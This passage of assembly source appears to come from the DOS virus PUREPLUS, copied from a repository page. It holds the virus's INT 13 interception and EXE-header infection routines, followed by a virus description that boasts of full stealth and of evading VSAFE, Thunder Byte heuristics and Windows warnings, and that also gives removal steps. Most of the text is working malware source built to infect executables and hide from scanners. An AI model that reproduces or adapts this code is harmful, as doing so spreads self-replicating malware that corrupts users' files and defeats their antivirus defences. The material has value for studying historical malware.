ja not_exe_header ;if not then not interested
cmp al,SETVER_SIZE ;was the file the length of SETVER.EXE if so then not interested
je not_exe_header ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected)
cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
jae not_exe_header ;was it a new EXE header (Windows etc) if so then not interested
call ax_cx_di_si_cld ;get all them varables
pusha ;save'em
repe scasb ;was there nothin but 00's at offset 71 to 512 of the sector
popa ;get'em again
jne not_exe_header ;if not then not interested
xor byte ptr ds:[bx],ah
rep movs byte ptr es:[di],cs:[si]
popf ;if all criteria were met for infection then modify sector in memory and insert virii
clc ;pop off the fail indicator
pushf ;and push on the passed indicator
not_exe_header: popf ;get passed/failed indicator
popa ;get varables from stack
ret ;go back to where you once belonged
convert_to endp
;-----------------------------------------------------------------------------
interrupt_13 proc far ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly
int_13_entry: cmp ah,high(READ_A_SECTOR)
jb call_old_int_13 ;only interested in reads, writes and verifys
cmp ah,high(VERIFY_3SECTORS)
ja call_old_int_13 ;if otherwise then go to old int 13
push ds ;save ds
push es ;so we can make ds the same as es and save a few bytes
pop ds
call convert_to ;try to convert it to a virii sector
pushf ;set up for interrupt simulation
push cs ;push the cs onto the stack for the iret
call call_old_int_13 ;if command was to write then an infected write occured else memory got overwritten with the read
pushf ;save the result of the int 13 call
call convert_to ;does it need to be converted to a virii sector
pusha ;save the varables onto the stack
jc do_convertback ;if not then see if it needs cleaning
mov ax,WRITE_A_SECTOR
pushf ;now lets write the virii infected sector back to disk
push cs ;simulate an int 13 execution
call call_old_int_13 ;and do it
do_convertback: call convert_back ;does the sector need to be cleaned on the fly
popa ;if it just wrote to the disk then it will need to be cleaned
popf ;or if it is a virii infected sector then clean it
pop ds ;pop off the varables and the result of int 13 simulation done above
retf KEEP_CF_INTACT ;then leave this routine with the carry flag intact
interrupt_13 endp
;-----------------------------------------------------------------------------
signature db 'Q' ;must leave my calling card
;-----------------------------------------------------------------------------
org COM_OFFSET+SECTOR_SIZE-ONE_BYTE
;must be a far jmp at the last of the sector
;the address of the jmp is in the heap area
;and is filled in by the int 1 trace routine
;-----------------------------------------------------------------------------
call_old_int_13 proc near ;far call to actual int 13 that is loaded in the HMA by DOS
jmp far ptr old_int_13_addr
call_old_int_13 endp
;-----------------------------------------------------------------------------
org COM_OFFSET+SECTOR_SIZE
;overwrites the address of above but that address
;is not necessary until the virii goes resident in the HMA
;-----------------------------------------------------------------------------
goto_dos proc near ;this is our simple EXE file that we infected
mov ax,TERMINATE_W_ERR
nop ;it just simply ends
far_ptr_addr: int DOS_INT ;terminate program
goto_dos endp
;-----------------------------------------------------------------------------
pureplus endp ;close up and go home
cseg ends
end com_code
;-----------------------------------------------------------------------------
Virus Name: PUREPLUS
Aliases:
V Status: New, Research Viron
Discovery: March, 1994
Symptoms: None - Pure Stealth
Origin: USA
Eff Length: 441 Bytes
Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector
Detection Method: None
Removal Instructions: See Below
General Comments:
The PUREPLUS virus is a HMA memory resident overwriting direct action
infector. The virus is a pure 100% stealth virus with no detectable
symptoms. No file length increase; overwritten .EXE files execute
properly; no interrupts are directly hooked; no change in file date or
time; no change in available memory; INT 12 is not moved; no cross
linked files from CHKDSK; when resident the virus cleans programs on
the fly; works with all 80?86 processors; VSAFE.COM does not detect
any changes; Thunder Byte's Heuristic virus detection does not detect
the virus; Windows 3.1's built in warning about a possible virus does
not detect PUREPLUS.
The PUREPLUS is a variation of the PURE virus that will cause
VSAFE.COM to uninstall.
The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file.
The first time an infected .EXE file is executed, the virus goes
memory resident in the HMA (High Memory Area). The hooking of INT 13
is accomplished using a tunnelling technique, so memory mapping
utilities will not map it to the virus in memory. It then reloads the
infected .EXE file, cleans it on the fly, then executes it. After the
program has been executed, PUREPLUS will attempt to infect 15 .EXE
files in the current directory.
If the PUREPLUS virus is unable to install in the HMA or clean the
infected .EXE on the fly, the virus will reopen the infected .EXE file
for read-only; modify the system file table for write; remove itself,
and then write the cleaned code back to the .EXE file. It then
reloads the clean .EXE file and executes it. The virus can not clean
itself on the fly if the disk is compressed with DBLSPACE or STACKER,
so it will clean the infected .EXE file and write it back. It will
also clean itself on an 8086 or 8088 processor.
It will infect an .EXE if it is executed, opened for any reason or
even copied. When an uninfected .EXE is copied, both the source and
destination .EXE file are infected.
The PUREPLUS virus overwrites the .EXE header if it meets certain
criteria. The .EXE file must be less than 62K. The file does not
have an extended .EXE header. The file is not SETVER.EXE. The .EXE
header must be all zeros from offset 71 to offset 512; this is where
the PUREPLUS virus writes it code. The PUREPLUS virus then changes
the .EXE header to a .COM file. Files that are READONLY can also be
infected.
To remove the virus from your system, change DOS=HIGH to DOS=LOW in
your CONFIG.SYS file. Reboot the system. Then run each .EXE file
less than 62k. The virus will remove itself from each .EXE program
when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute
an infected .EXE file, then use a tape backup unit to copy all your
files. The files on the tape have had the virus removed from them.
Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the
system. Restore from tape all the files back to your system.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff